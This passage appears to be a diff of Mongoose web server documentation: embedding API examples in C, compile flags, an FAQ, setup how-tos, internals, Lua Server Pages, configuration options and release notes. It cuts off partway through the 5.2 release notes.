int event_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||||
|
switch (ev) {
|
||||||
|
case MG_AUTH: return MG_TRUE;
|
||||||
|
default: return MG_FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Event handler is called by Mongoose with `struct mg_connection *`
|
||||||
|
pointer and an event number. `struct mg_connection *conn`
|
||||||
|
has all information about the request: HTTP headers, POST or websocket
|
||||||
|
data buffer, etcetera. `enum mg_event ev` tells which exactly event is sent.
|
||||||
|
For each event, an event handler returns a value which tells Mongoose how
|
||||||
|
to behave.
|
||||||
|
|
||||||
|
The sequence of events for every connection is this:
|
||||||
|
|
||||||
|
* `MG_AUTH` - Mongoose asks whether this connection is authorized. If event
|
||||||
|
handler returns `MG_FALSE`, then Mongoose does not serve the request but
|
||||||
|
sends authorization request to the client. If `MG_TRUE` is returned,
|
||||||
|
then Mongoose continues on with the request.
|
||||||
|
* `MG_REQUEST` - Mongoose asks event handler to serve the request. If
|
||||||
|
event handler serves the request by sending a reply,
|
||||||
|
it should return `MG_TRUE`. Otherwise,
|
||||||
|
it should return `MG_FALSE` which tells Mongoose that request is not
|
||||||
|
served and Mongoose should serve it. For example, event handler might
|
||||||
|
choose to serve only RESTful API requests with URIs that start with
|
||||||
|
certain prefix, and let Mongoose serve all static files.
|
||||||
|
If event handler decides to serve the request, but doesn't have
|
||||||
|
all the data at the moment, it should return `MG_MORE`. That tells
|
||||||
|
Mongoose to keep the connection open after callback returns.
|
||||||
|
|
||||||
|
`mg_connection::connection_param` pointer is a placeholder to keep
|
||||||
|
user-specific data. For example, handler could decide to open a DB
|
||||||
|
connection and store DB connection handle in `connection_param`.
|
||||||
|
* `MG_POLL` is sent to every connection on every iteration of
|
||||||
|
`mg_poll_server()`. Event handler should return `MG_FALSE` to ignore
|
||||||
|
this event. If event handler returns `MG_TRUE`, then Mongoose assumes
|
||||||
|
that event handler has finished sending data, and Mongoose will
|
||||||
|
close the connection.
|
||||||
|
* `MG_HTTP_ERROR` sent when Mongoose is about to send HTTP error back
|
||||||
|
to the client. Event handler can choose to send a reply itself, in which
|
||||||
|
case event handler must return `MG_TRUE`. Otherwise, event handler must
|
||||||
|
return `MG_FALSE`
|
||||||
|
* `MG_CLOSE` is sent when the connection is closed. This event is used
|
||||||
|
to cleanup per-connection state stored in `connection_param`
|
||||||
|
if it was allocated.
|
||||||
|
|
||||||
|
Let's extend our minimal application example and
|
||||||
|
create an URI that will be served by user's C code. The app will handle
|
||||||
|
`/hello` URI by showing a hello message. So, when app is run,
|
||||||
|
http://127.0.0.1:8080/hello will say hello, and here's the code:
|
||||||
|
|
||||||
|
#include <string.h>
|
||||||
|
#include "mongoose.h"
|
||||||
|
|
||||||
|
static int event_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||||
|
if (ev == MG_AUTH) {
|
||||||
|
return MG_TRUE; // Authorize all requests
|
||||||
|
} else if (ev == MG_REQUEST && !strcmp(conn->uri, "/hello")) {
|
||||||
|
mg_printf_data(conn, "%s", "Hello world");
|
||||||
|
return MG_TRUE; // Mark as processed
|
||||||
|
} else {
|
||||||
|
return MG_FALSE; // Rest of the events are not processed
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
struct mg_server *server = mg_create_server(NULL, event_handler);
|
||||||
|
mg_set_option(server, "document_root", ".");
|
||||||
|
mg_set_option(server, "listening_port", "8080");
|
||||||
|
|
||||||
|
for (;;) {
|
||||||
|
mg_poll_server(server, 1000); // Infinite loop, Ctrl-C to stop
|
||||||
|
}
|
||||||
|
mg_destroy_server(&server);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
## Example code
|
||||||
|
|
||||||
|
Mongoose source code contains a well-commented example code, listed below:
|
||||||
|
|
||||||
|
* [hello.c](https://github.com/cesanta/mongoose/blob/master/examples/hello.c)
|
||||||
|
a minimalistic hello world example
|
||||||
|
* [post.c](https://github.com/cesanta/mongoose/blob/master/examples/post.c)
|
||||||
|
shows how to handle form input
|
||||||
|
* [upload.c](https://github.com/cesanta/mongoose/blob/master/examples/post.c)
|
||||||
|
shows how to upload files
|
||||||
|
* [websocket.c](https://github.com/cesanta/mongoose/blob/master/examples/websocket.c) demonstrates websocket usage
|
||||||
|
* [auth.c](https://github.com/cesanta/mongoose/blob/master/examples/auth.c) demonstrates API-controlled Digest authorization
|
||||||
|
* [mjpg.c](https://github.com/cesanta/mongoose/blob/master/examples/mjpg.c) demonstrates MJPEG streaming implementation
|
||||||
|
|
||||||
|
## Compilation flags
|
||||||
|
|
||||||
|
Below is the list of compilation flags that enable or disable certain
|
||||||
|
features. By default, some features are enabled, and could be disabled
|
||||||
|
by setting appropriate `NO_*` flag. Features that are disabled by default
|
||||||
|
could be enabled by setting appropriate `USE_*` flag. Bare bones Mongoose
|
||||||
|
is quite small, about 30 kilobytes of compiled x86 code. Each feature adds
|
||||||
|
a couple of kilobytes to the executable size, and also has some runtime penalty.
|
||||||
|
|
||||||
|
Note that some flags start with `NS_` prefix. This is because Mongoose uses
|
||||||
|
[Net Skeleton](http://github.com/cesanta/net_skeleton) as a low-level
|
||||||
|
networking engine. If user code has `#include <net_skeleton.h>`, then
|
||||||
|
all Net Skeleton functions will be available too.
|
||||||
|
|
||||||
|
|
||||||
|
-DMONGOOSE_NO_AUTH Disable MD5 authorization support
|
||||||
|
-DMONGOOSE_NO_CGI Disable CGI support
|
||||||
|
-DMONGOOSE_NO_DAV Disable WebDAV support
|
||||||
|
(PUT, DELETE, MKCOL, PROPFIND methods)
|
||||||
|
-DMONGOOSE_NO_DIRECTORY_LISTING Disable directory listing
|
||||||
|
-DMONGOOSE_NO_FILESYSTEM Disables all file IO, serving from memory only
|
||||||
|
-DMONGOOSE_NO_LOGGING Disable access/error logging
|
||||||
|
-DMONGOOSE_NO_THREADS
|
||||||
|
-DMONGOOSE_NO_WEBSOCKET Disable WebSocket support
|
||||||
|
|
||||||
|
-DMONGOOSE_USE_IDLE_TIMEOUT_SECONDS=X Idle connection timeout, default is 30
|
||||||
|
-DMONGOOSE_USE_LUA Enable Lua scripting
|
||||||
|
-DMONGOOSE_USE_LUA_SQLITE3 Enable sqlite3 binding for Lua
|
||||||
|
-DMONGOOSE_USE_POST_SIZE_LIMIT=X POST requests larger than X will be
|
||||||
|
rejected, not set by default
|
||||||
|
-DMONGOOSE_USE_EXTRA_HTTP_HEADERS=X Append X to the HTTP headers
|
||||||
|
for static files, empty by default
|
||||||
|
|
||||||
|
-DNS_ENABLE_DEBUG Enables debug messages on stdout, very noisy
|
||||||
|
-DNS_ENABLE_SSL Enable SSL
|
||||||
|
-DNS_ENABLE_IPV6 Enable IPv6 support
|
||||||
|
-DNS_ENABLE_HEXDUMP Enables hexdump of sent and received traffic
|
||||||
|
-DNS_STACK_SIZE=X Sets stack size to X for ns_start_thread()
|
||||||
|
-DNS_DISABLE_THREADS Disable threads support
|
||||||
|
-DNS_DISABLE_SOCKETPAIR For systems without loopback interface
|
||||||
|
-DMONGOOSE_SEND_NS_EVENTS Send Net Skeleton events to the event handler
|
||||||
|
in addition to the Mongoose events
|
||||||
+45
@@ -0,0 +1,45 @@
|
|||||||
|
# Mongoose FAQ
|
||||||
|
|
||||||
|
## My Antivirus Software reports Mongoose as a security threat
|
||||||
|
|
||||||
|
Mongoose doesn't contain any malicious logic. Antivirus reports a
|
||||||
|
[false positive](http://en.wikipedia.org/wiki/Type_I_and_type_II_errors#False_positive_error).
|
||||||
|
This is when certain byte sequence in Mongoose accidentally matches
|
||||||
|
virus signature in the Antivirus database.
|
||||||
|
|
||||||
|
## Download page doesn't work
|
||||||
|
|
||||||
|
Please make sure Javascript is enabled in your browser, and that the
|
||||||
|
antivirus software is not blocking the download.
|
||||||
|
|
||||||
|
|
||||||
|
## MacOS message: "Mongoose.app is damaged and can’t be opened. You should move it to the Trash"
|
||||||
|
|
||||||
|
This happens on newer MacOS systems. The reason for the message
|
||||||
|
is the fact Mongoose.app is not digitally signed.
|
||||||
|
Mongoose download procedure changes the app on the fly by injecting
|
||||||
|
user information in the binary, making any prior digital signature void.
|
||||||
|
Open "System Preferences" -> "Security" and set "Allow apps downloaded from"
|
||||||
|
to "Anywhere". Revert the settings once Mongoose is installed.
|
||||||
|
|
||||||
|
## PHP doesn't work: getting empty page, or 'File not found' error
|
||||||
|
|
||||||
|
The reason for that is wrong paths to the interpreter. Remember that with PHP,
|
||||||
|
correct interpreter is `php-cgi.exe` (`php-cgi` on UNIX). Solution: specify
|
||||||
|
full path to the PHP interpreter, e.g.:
|
||||||
|
|
||||||
|
mongoose -cgi_interpreter /full/path/to/php-cgi
|
||||||
|
|
||||||
|
## Mongoose fails to start
|
||||||
|
|
||||||
|
If Mongoose exits immediately when run, this
|
||||||
|
usually indicates a syntax error in the configuration file
|
||||||
|
(named `mongoose.conf` by default) or the command-line arguments.
|
||||||
|
Syntax checking is omitted from Mongoose to keep its size low. However,
|
||||||
|
the Manual should be of help. Note: the syntax changes from time to time,
|
||||||
|
so updating the config file might be necessary after executable update.
|
||||||
|
|
||||||
|
### Embedding with OpenSSL on Windows might fail because of calling convention
|
||||||
|
|
||||||
|
To force Mongoose to use `__stdcall` convention, add `/Gz` compilation
|
||||||
|
flag to the Visual Studio project settings.
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
How To Share Files With Mongoose
|
||||||
|
===========================================
|
||||||
|
|
||||||
|
## 1. Download Mongoose executable from http://cesanta.com/mongoose.shtml and copy the executable inside the directory you want to share:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 2. Double-click mongoose executable. A browser will start automatically, an icon will appear on a system tray in the bottom right corner of the desktop:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 3. Click on the mongoose icon
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
## 4. Click on "Go to my address" to launch a browser locally. Or, to access a folder from another machine, launch a browser and type in the URL:
|
||||||
|
|
||||||
|

|
||||||
@@ -0,0 +1,44 @@
|
|||||||
|
# Mongoose Internals
|
||||||
|
|
||||||
|
Mongoose has single-threaded, event-driven, asynchronous, non-blocking core.
|
||||||
|
`mg_create_server()` creates a web server instance. An instance is a container
|
||||||
|
for the config options and list of active connections. To do the actual
|
||||||
|
serving, user must call `mg_poll_server()`, which iterates over all
|
||||||
|
active connections, performing `select()` syscall on all sockets with a
|
||||||
|
timeout of specified number of milliseconds. When `select()` returns, Mongoose
|
||||||
|
does an IO for each socket that has data to be sent or received. Application
|
||||||
|
code must call `mg_poll_server()` in a loop.
|
||||||
|
|
||||||
|
Mongoose server instance is designed to be used by a single thread.
|
||||||
|
It is an error to have more then
|
||||||
|
one thread calling `mg_poll_server()`, `mg_set_option()` or any other function
|
||||||
|
that take `struct mg_server *` parameter. Mongoose does not
|
||||||
|
mutex-protect `struct mg_server *`, therefore the best practice is
|
||||||
|
to call server management functions from the same thread (an IO thread).
|
||||||
|
On a multi-core systems, many server instances can be created, sharing the
|
||||||
|
same listening socket and managed by separate threads (see [multi_threaded.c](https://github.com/cesanta/mongoose/blob/master/examples/multi_threaded.c))
|
||||||
|
example.
|
||||||
|
|
||||||
|
It is an error to pass and store `struct mg_connection *` pointers for
|
||||||
|
later use to send data. The reason is that they can be invalidated by the
|
||||||
|
next `mg_poll_server()` call. For such a task,
|
||||||
|
there is `mg_iterate_over_connections()` API
|
||||||
|
exists, which sends a callback function to the IO thread, then IO thread
|
||||||
|
calls specified function for all active connection.
|
||||||
|
|
||||||
|
When mongoose buffers in HTTP request and successfully parses it, it calls
|
||||||
|
appropriate URI handler immediately for GET requests. For POST requests,
|
||||||
|
Mongoose delays the call until the whole POST request is buffered in memory.
|
||||||
|
POST data is available to the callback as `struct mg_connection::content`,
|
||||||
|
and POST data length is in `struct mg_connection::content_len`.
|
||||||
|
|
||||||
|
Note that websocket connections are treated the same way. Mongoose buffers
|
||||||
|
websocket frame in memory, and calls URI handler when frame is fully
|
||||||
|
buffered. Frame data is available `struct mg_connection::content`, and
|
||||||
|
data length is in `struct mg_connection::content_len`, i.e. very similar to
|
||||||
|
the POST request. `struct mg_connection::is_websocket` flag indicates
|
||||||
|
whether the request is websocket or not. Also, for websocket requests,
|
||||||
|
there is `struct mg_connection::wsbits` field which contains first byte
|
||||||
|
of the websocket frame which URI handler can examine. Note that to
|
||||||
|
reply to the websocket client, `mg_websocket_write()` should be used.
|
||||||
|
To reply to the plain HTTP client, `mg_write()` should be used.
|
||||||
@@ -0,0 +1,51 @@
|
|||||||
|
# Mongoose Lua Server Pages
|
||||||
|
|
||||||
|
Pre-built Windows and Mac mongoose binaries support Lua Server Pages
|
||||||
|
functionality.
|
||||||
|
That means it is possible to write PHP-like scripts with mongoose
|
||||||
|
using Lua programming language instead of PHP. Lua is known
|
||||||
|
for it's speed and small size. Mongoose uses Lua version 5.2.3, the
|
||||||
|
documentation for it can be found at
|
||||||
|
[Lua 5.2 reference manual](http://www.lua.org/manual/5.2/).
|
||||||
|
|
||||||
|
To create a Lua Page, make a file that is called `ANY_NAME.lp`. For example,
|
||||||
|
`my_page.lp`. It is important to have a file
|
||||||
|
name that ends up with `.lp`, cause this is the way mongoose recognises
|
||||||
|
Lua Page file. The contents of the file, just like
|
||||||
|
with PHP, is HTML with embedded Lua code. Lua code must be enclosed within
|
||||||
|
`<? ?>` blocks, and can appear anywhere on the page.
|
||||||
|
|
||||||
|
Mongoose does not send HTTP headers for Lua pages. Therefore,
|
||||||
|
every Lua Page must begin with HTTP status line and headers, like this:
|
||||||
|
|
||||||
|
<? mg.write('HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\n') ?>
|
||||||
|
<html><body>
|
||||||
|
<span>Today is:</span> <? mg.write(os.date("%A")) ?>
|
||||||
|
</body></html>
|
||||||
|
|
||||||
|
Note that this example uses function `mg.write()`, which prints data to the
|
||||||
|
web page. Using function `mg.write()` is the way to generate web content from
|
||||||
|
inside Lua code. In addition to `mg.write()`, all standard library functions
|
||||||
|
are accessible from the Lua code (please check reference manual for details).
|
||||||
|
Information about the request is available via the `mg.request_info` object.
|
||||||
|
I contains request method, all headers, etcetera. Please refer to
|
||||||
|
`struct mg_request_info` definition in
|
||||||
|
[mongoose.h](https://github.com/cesanta/mongoose/blob/master/mongoose.h)
|
||||||
|
to see what is available via the `mg.request_info` object.
|
||||||
|
Check out [prime_numbers.lp](https://github.com/cesanta/mongoose/blob/master/examples/lua/prime_numbers.lp) for some example.
|
||||||
|
|
||||||
|
Mongoose exports the following to the Lua Server Page:
|
||||||
|
|
||||||
|
mg.write(str) -- writes string to the client
|
||||||
|
mg.onerror(msg) -- error handler, can be overridden
|
||||||
|
mg.request_info -- a table with request information
|
||||||
|
|
||||||
|
Using Lua scripting it is easy to emulate SSI functionality. For example,
|
||||||
|
to include the content of another file, one can write:
|
||||||
|
|
||||||
|
<? mg.write(io.open('MY_FILE.TXT'):read('*all')) ?>
|
||||||
|
|
||||||
|
To serve a Lua Page, mongoose creates Lua context. That context is used for
|
||||||
|
all Lua blocks within the page. That means, all Lua blocks on the same page
|
||||||
|
share the same context. If one block defines a variable, for example, that
|
||||||
|
variable is visible in all following blocks.
|
||||||
+148
@@ -0,0 +1,148 @@
|
|||||||
|
# Mongoose Configuration Options
|
||||||
|
|
||||||
|
### access\_control\_list
|
||||||
|
An Access Control List (ACL) allows restrictions to be put on the list of IP
|
||||||
|
addresses which have access to the web server. In the case of the Mongoose
|
||||||
|
web server, the ACL is a comma separated list of IP subnets, where each
|
||||||
|
subnet is prepended by either a `-` or a `+` sign. A plus sign means allow,
|
||||||
|
where a minus sign means deny. If a subnet mask is omitted, such as `-1.2.3.4`,
|
||||||
|
this means to deny only that single IP address.
|
||||||
|
|
||||||
|
Subnet masks may vary from 0 to 32, inclusive. The default setting is to allow
|
||||||
|
all accesses. On each request the full list is traversed, and
|
||||||
|
the last match wins. Example: `$ mongoose -access_control_list -0.0.0.0/0,+192.168/16` to deny all acccesses except those from `192.168/16` subnet. Note that if the option is set, then all accesses are forbidden
|
||||||
|
by default. Thus in a previous example, `-0.0.0.0` part is not necessary.
|
||||||
|
For example, `$mongoose access_control_list +10.0.0.0/8`
|
||||||
|
means disallow all, allow subnet 10/8 only.
|
||||||
|
|
||||||
|
To learn more about subnet masks, see the
|
||||||
|
[Wikipedia page on Subnetwork](http://en.wikipedia.org/wiki/Subnetwork)
|
||||||
|
|
||||||
|
Default: not set, all accesses are allowed.
|
||||||
|
|
||||||
|
### access\_log\_file
|
||||||
|
Path to a file for access logs. Either full path, or relative to the
|
||||||
|
mongoose executable. Default: not set, no query logging is done.
|
||||||
|
|
||||||
|
### auth_domain
|
||||||
|
Authorization realm used in `.htpasswd` authorization. Default: `mydomain.com`
|
||||||
|
|
||||||
|
### cgi_interpreter
|
||||||
|
Path to an executable to be used use as an interpreter for __all__ CGI scripts
|
||||||
|
regardless script extension. Default: not set, Mongoose looks at
|
||||||
|
[shebang line](http://en.wikipedia.org/wiki/Shebang_(Unix\).
|
||||||
|
|
||||||
|
For example, if both PHP and perl CGIs are used, then
|
||||||
|
`#!/path/to/php-cgi.exe` and `#!/path/to/perl.exe` must be first lines of the
|
||||||
|
respective CGI scripts. Note that paths should be either full file paths,
|
||||||
|
or file paths relative to the directory where mongoose executable is located.
|
||||||
|
|
||||||
|
If all CGIs use the same interpreter, for example they are all PHP, then
|
||||||
|
`cgi_interpreter` option can be set to the path to `php-cgi.exe` executable and
|
||||||
|
shebang line in the CGI scripts can be omitted.
|
||||||
|
**Note**: PHP scripts must use `php-cgi.exe`, not `php.exe`.
|
||||||
|
|
||||||
|
### cgi_pattern
|
||||||
|
All files that match `cgi_pattern` are treated as CGI files. Default pattern
|
||||||
|
allows CGI files be anywhere. To restrict CGIs to a certain directory,
|
||||||
|
use `/path/to/cgi-bin/**.cgi` as a pattern. Note that **full file path** is
|
||||||
|
matched against the pattern, not the URI.
|
||||||
|
|
||||||
|
When Mongoose starts CGI program, it creates new environment for it (in
|
||||||
|
contrast, usually child program inherits the environment from parent). Several
|
||||||
|
environment variables however are inherited from Mongoose's environment,
|
||||||
|
they are: `PATH`, `TMP`, `TEMP`, `TMPDIR`, `PERLLIB`, `MONGOOSE_CGI`. On UNIX
|
||||||
|
it is also `LD_LIBRARY_PATH`. On Windows it is also `COMSPEC`, `SYSTEMROOT`,
|
||||||
|
`SystemDrive`, `ProgramFiles`, `ProgramFiles(x86)`, `CommonProgramFiles(x86)`.
|
||||||
|
|
||||||
|
Default: `**.cgi$|**.pl$|**.php$`
|
||||||
|
|
||||||
|
### dav\_auth\_file
|
||||||
|
Authentication file for WebDAV mutation requests: `PUT`, `DELETE`, `MKCOL`.
|
||||||
|
The format of that file is the same as for the `.htpasswd` file
|
||||||
|
used for digest authentication. It can be created and managed by
|
||||||
|
`mongoose -A` command. Default: not set, WebDAV mutations are disallowed.
|
||||||
|
|
||||||
|
### document_root
|
||||||
|
A directory to serve. Default: current working directory.
|
||||||
|
|
||||||
|
### enable\_directory\_listing
|
||||||
|
Enable directory listing, either `yes` or `no`. Default: `yes`.
|
||||||
|
|
||||||
|
### extra\_mime\_types
|
||||||
|
Extra mime types to recognize, in form `extension1=type1,extension2=type2,...`.
|
||||||
|
Extension must include dot. Example:
|
||||||
|
`mongoose -extra_mime_types .cpp=plain/text,.java=plain/text`. Default: not set.
|
||||||
|
|
||||||
|
|
||||||
|
### global\_auth\_file
|
||||||
|
Path to a global passwords file, either full path or relative to the mongoose
|
||||||
|
executable. If set, per-directory `.htpasswd` files are ignored,
|
||||||
|
and all requests are authorised against that file. Use `mongoose -A` to
|
||||||
|
manage passwords, or third party utilities like
|
||||||
|
[htpasswd-generator](http://www.askapache.com/online-tools/htpasswd-generator).
|
||||||
|
Default: not set, per-directory `.htpasswd` files are respected.
|
||||||
|
|
||||||
|
### hide\_files\_patterns
|
||||||
|
A pattern for the files to hide. Files that match the pattern will not
|
||||||
|
show up in directory listing and return `404 Not Found` if requested. Pattern
|
||||||
|
must be for a file name only, not including directory name, e.g.
|
||||||
|
`mongoose -hide_files_patterns secret.txt|even_more_secret.txt`. Default:
|
||||||
|
not set.
|
||||||
|
|
||||||
|
### index_files
|
||||||
|
Comma-separated list of files to be treated as directory index
|
||||||
|
files. Default: `index.html,index.htm,index.cgi,index.shtml,index.php`
|
||||||
|
|
||||||
|
### ssl_certificate
|
||||||
|
Path to SSL certificate file. The file must be in PEM format,
|
||||||
|
and it must have both private key and certificate, see for example
|
||||||
|
[ssl_cert.pem](https://github.com/cesanta/mongoose/blob/master/build/ssl_cert.pem). If this option is set, then Mongoose serves SSL connections on
|
||||||
|
`listening_port`. Default: not set.
|
||||||
|
|
||||||
|
### listening_port
|
||||||
|
Port to listen on. Port could be prepended by the specific IP address to bind
|
||||||
|
to, e.g. `mongoose -listening_port 127.0.0.1:8080`. Otherwise Mongoose
|
||||||
|
will bind to all addresses. Default: 8080.
|
||||||
|
|
||||||
|
### run\_as\_user
|
||||||
|
Switch to given user credentials after startup. UNIX-only. This option is
|
||||||
|
required when mongoose needs to bind on privileged port on UNIX, e.g.
|
||||||
|
|
||||||
|
$ sudo mongoose -listening_port 80 -run_as_user nobody
|
||||||
|
|
||||||
|
Default: not set.
|
||||||
|
|
||||||
|
### url\_rewrites
|
||||||
|
Comma-separated list of URL rewrites in the form of
|
||||||
|
`uri_pattern=file_or_directory_path`. When Mongoose receives the request,
|
||||||
|
it constructs the file name to show by combining `document_root` and the URI.
|
||||||
|
However, if the rewrite option is used and `uri_pattern` matches the
|
||||||
|
requested URI, then `document_root` is ignored. Instead,
|
||||||
|
`file_or_directory_path` is used, which should be a full path name or
|
||||||
|
a path relative to the web server's current working directory. Note that
|
||||||
|
`uri_pattern`, as all mongoose patterns, is a prefix pattern. If `uri_pattern`
|
||||||
|
is a number, then it is treated as HTTP error code, and `file_or_directory_path`
|
||||||
|
should be an URI to redirect to. Mongoose will issue `302` temporary redirect
|
||||||
|
to the specified URI with following parameters:
|
||||||
|
`?code=HTTP_ERROR_CODE&orig_uri=ORIGINAL_URI&query_string=QUERY_STRING`.
|
||||||
|
|
||||||
|
If `uri_pattern` starts with `@` symbol, then Mongoose compares
|
||||||
|
it with the `HOST` header of the request. If they are equal, Mongoose sets
|
||||||
|
document root to `file_or_directory_path`, implementing virtual hosts support.
|
||||||
|
|
||||||
|
Examples:
|
||||||
|
|
||||||
|
# Redirect all accesses to `.doc` files to a special script
|
||||||
|
mongoose -url_rewrites **.doc$=/path/to/cgi-bin/handle_doc.cgi
|
||||||
|
|
||||||
|
# Implement user home directories support
|
||||||
|
mongoose -url_rewrites /~joe/=/home/joe/,/~bill=/home/bill/
|
||||||
|
|
||||||
|
# Redirect 404 errors to a specific error page
|
||||||
|
mongoose -url_rewrites 404=/cgi-bin/error.cgi
|
||||||
|
|
||||||
|
# Virtual hosts example: serve foo.com domain from different directory
|
||||||
|
mongoose -url_rewrites @foo.com=/var/www/foo.com
|
||||||
|
|
||||||
|
Default: not set.
|
||||||
@@ -0,0 +1,49 @@
|
|||||||
|
How To Create A PHP Website With Mongoose
|
||||||
|
===========================================
|
||||||
|
|
||||||
|
## 1. Create a directory which will contain your website files. For example, on drive `C:\`, create a directory called `my_website`:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 2. Inside `my_website` directory, create a new file called "index". This will be the default web page shown when the website is visited.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 3. Open index file with your favorite editor (for example, Notepad) and enter some HTML / PHP code:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 4. Save this file as `index.php`:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
## 5. Download Mongoose executable from http://cesanta.com/mongoose.shtml and copy the executable inside `my_website` directory:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 6. Double-click mongoose executable. An icon will appear on a system tray in the bottom right corner of the desktop:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 7. Download PHP 5.3 zip (do NOT download PHP 5.5 cause you might have missing DLLs problem) from http://windows.php.net/download and extract it to `C:\php5` directory:
|
||||||
|

|
||||||
|
|
||||||
|
## 8. Click on the mongoose icon and choose "Edit Settings" menu.:
|
||||||
|

|
||||||
|
|
||||||
|
## 9. A settings dialog will appear. Click on `cgi_interpreter` button:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 10. Choose `C:\php5\php-cgi.exe` and click "Save Settings":
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 11. Click on the mongoose icon and choose "Go to my address" menu:
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
## 12. A browser will popup displaying `index.php`.
|
||||||
|
|
||||||
|

|
||||||
@@ -0,0 +1,168 @@
|
|||||||
|
# Mongoose Release Notes
|
||||||
|
|
||||||
|
## Release 5.4, July 28 2014
|
||||||
|
|
||||||
|
Changes in Libmongoose library:
|
||||||
|
|
||||||
|
- Added `hexdump_file` option for low-level request/reply debugging
|
||||||
|
- Added `mg_template()` API function for generating HTML pages from
|
||||||
|
templates with expansions
|
||||||
|
- Fixed `struct mg_connection::local_ip` handling, `mg_set_option()`
|
||||||
|
behavior with NULL values
|
||||||
|
- Added `mg_send_file()` call to send arbitrary file to the client
|
||||||
|
- Added `mg_terminate_ssl()` for SSL termination functionality
|
||||||
|
- Added HTTP proxy support, `enable_proxy` config option
|
||||||
|
- Added `mg_next()` for iterating over existing active connections
|
||||||
|
- Added client-side SSL auth, `ssl_ca_certificate` option
|
||||||
|
- Added `mg_wakeup_server_ex()` for pushing messages to existing connections
|
||||||
|
- Added `MG_WS_HANDSHAKE` and `MG_WS_CONNECT` events that are sent on
|
||||||
|
Websocket handshake is connection establishment, respectively
|
||||||
|
- Removed server-side Lua support
|
||||||
|
- Filesystem access, reading from socket/SSL performance improvements
|
||||||
|
- DAV PROPFIND memory leak fixed
|
||||||
|
- Added `big_upload.c` and enhanced `upload.c` example
|
||||||
|
- Added `proxy.c` example that demonstrates proxy functionality and SSE pushes
|
||||||
|
- Added `websocket2.c` example that shows simple web chat implementation
|
||||||
|
over websockets
|
||||||
|
- Various minor fixes
|
||||||
|
|
||||||
|
|
||||||
|
Changes in pre-compiled binaries:
|
||||||
|
|
||||||
|
- Created HTML administration console
|
||||||
|
- When server is started, browser is started automatically
|
||||||
|
- Fixed directory listing bug when directory contains `#` character
|
||||||
|
- Removed built-in Lua Server Pages in the binary, and instead
|
||||||
|
added Mongoose + Lua developer bundle which has Lua Server Pages support.
|
||||||
|
That also solves external Lua modules loading problem.
|
||||||
|
|
||||||
|
|
||||||
|
## Release 5.3, March 10 2014
|
||||||
|
|
||||||
|
Changes in Libmongoose library:
|
||||||
|
|
||||||
|
* Moved to the evented API. Updated API documentation is at
|
||||||
|
http://cesanta.com/docs/Embed.shtml
|
||||||
|
http://cesanta.com/docs/API.shtml
|
||||||
|
* Added `MG_LUA` event for exporting custom variables to the Lua environment
|
||||||
|
* Added virtual hosts capability, see `url_rewrites` option description at
|
||||||
|
http://cesanta.com/docs/Options.shtml
|
||||||
|
* Added mjpg serving example
|
||||||
|
* Cleaned up and documented HTTP client API, with unit tests
|
||||||
|
* Added `mg_wakeup_server()` to awaken `mg_poll_server()`
|
||||||
|
from another thread
|
||||||
|
* Moved Mongoose IO core to [https://github.com/cesanta/net_skeleton](Net Skeleton)
|
||||||
|
* Added connection hexdump functionality for developers
|
||||||
|
* Bug fixes
|
||||||
|
|
||||||
|
Changes in pre-compiled binaries:
|
||||||
|
|
||||||
|
* New awesome Mongoose logos buy our designer Katrin - thanks Katrin!
|
||||||
|
Check them out at http://cesanta.com/products.shtml
|
||||||
|
* Added Lua Server Pages support to the free version, quick intro is at
|
||||||
|
http://cesanta.com/docs/Lua.shtml
|
||||||
|
* Added quick "Set shared directory" menu item to set `document_root`
|
||||||
|
* Added SSI support to the Pro version
|
||||||
|
* Removed SSL support from the Pro version
|
||||||
|
|
||||||
|
## Release 5.2, Feb 1 2014
|
||||||
|
|
||||||
|
* Windows binary made fully UNICODE aware. In previous versions,
|
||||||
|
the presence of non-ASCII chars in document root, CGI script name,
|
||||||
|
or directory name might have broken Mongoose as stand-alone
|
||||||
|
or as Windows service. Now Mongoose works with non-ASCII paths properly.
|
||||||
|
Internally, Mongoose uses UTF8 encoding. When making WinAPI calls,
|
||||||
|
mongoose converts UTF8 strings to wide chars and calls UNICODE API.
|
||||||
|
* Enhanced authorization API by providing `mg_set_auth_handler()` and
|
||||||
|
`mg_authorize_digest()`
|
||||||
|
* Removed `mg_add_uri_handler()`, added `mg_set_request_handler()`.
|
||||||
|
There is only oneURI handler that handles all requests, just like in 4.x.
|
||||||
|
The reason for this change is to provide an ability to catch all URIs,
|
||||||
|
and at the same time signal Mongoose to continue handling specific URIs.
|
||||||
|
* Added `mg_parse_multipart()` API for file uploads.
|
||||||
|
Note that the restriction on uploading huge files still exists,
|
||||||
|
and will be eliminated in the next release.
|
||||||
|
* Allowing mongoose to bind to port 0, in which case it'll bind to any
|
||||||
|
random unused port.
|
||||||
|
* Moved `idle_timeout_ms` run-time option to compile-time flag
|
||||||
|
* Added asynchronous HTTP client, not documented yet. Documentation and
|
||||||
|
examples are coming in the next couple of weeks. Async Websocket client
|
||||||
|
is scheduled for the next release. See usage examples at `unit_test.c`
|
||||||
|
* Windows and MacOS pre-built binaries are now split to free and paid ones,
|
||||||
|
paid binaries include CGI, SSL, Lua, Sqlite, support and updates.
|
||||||
|
Linux pre-built binary includes all functionality and is free, and will
|
||||||
|
continue to be free. Source code for Windows and MacOS GUI is closed.
|
||||||
|
Disclaimer: source code for the command line stand-alone server,
|
||||||
|
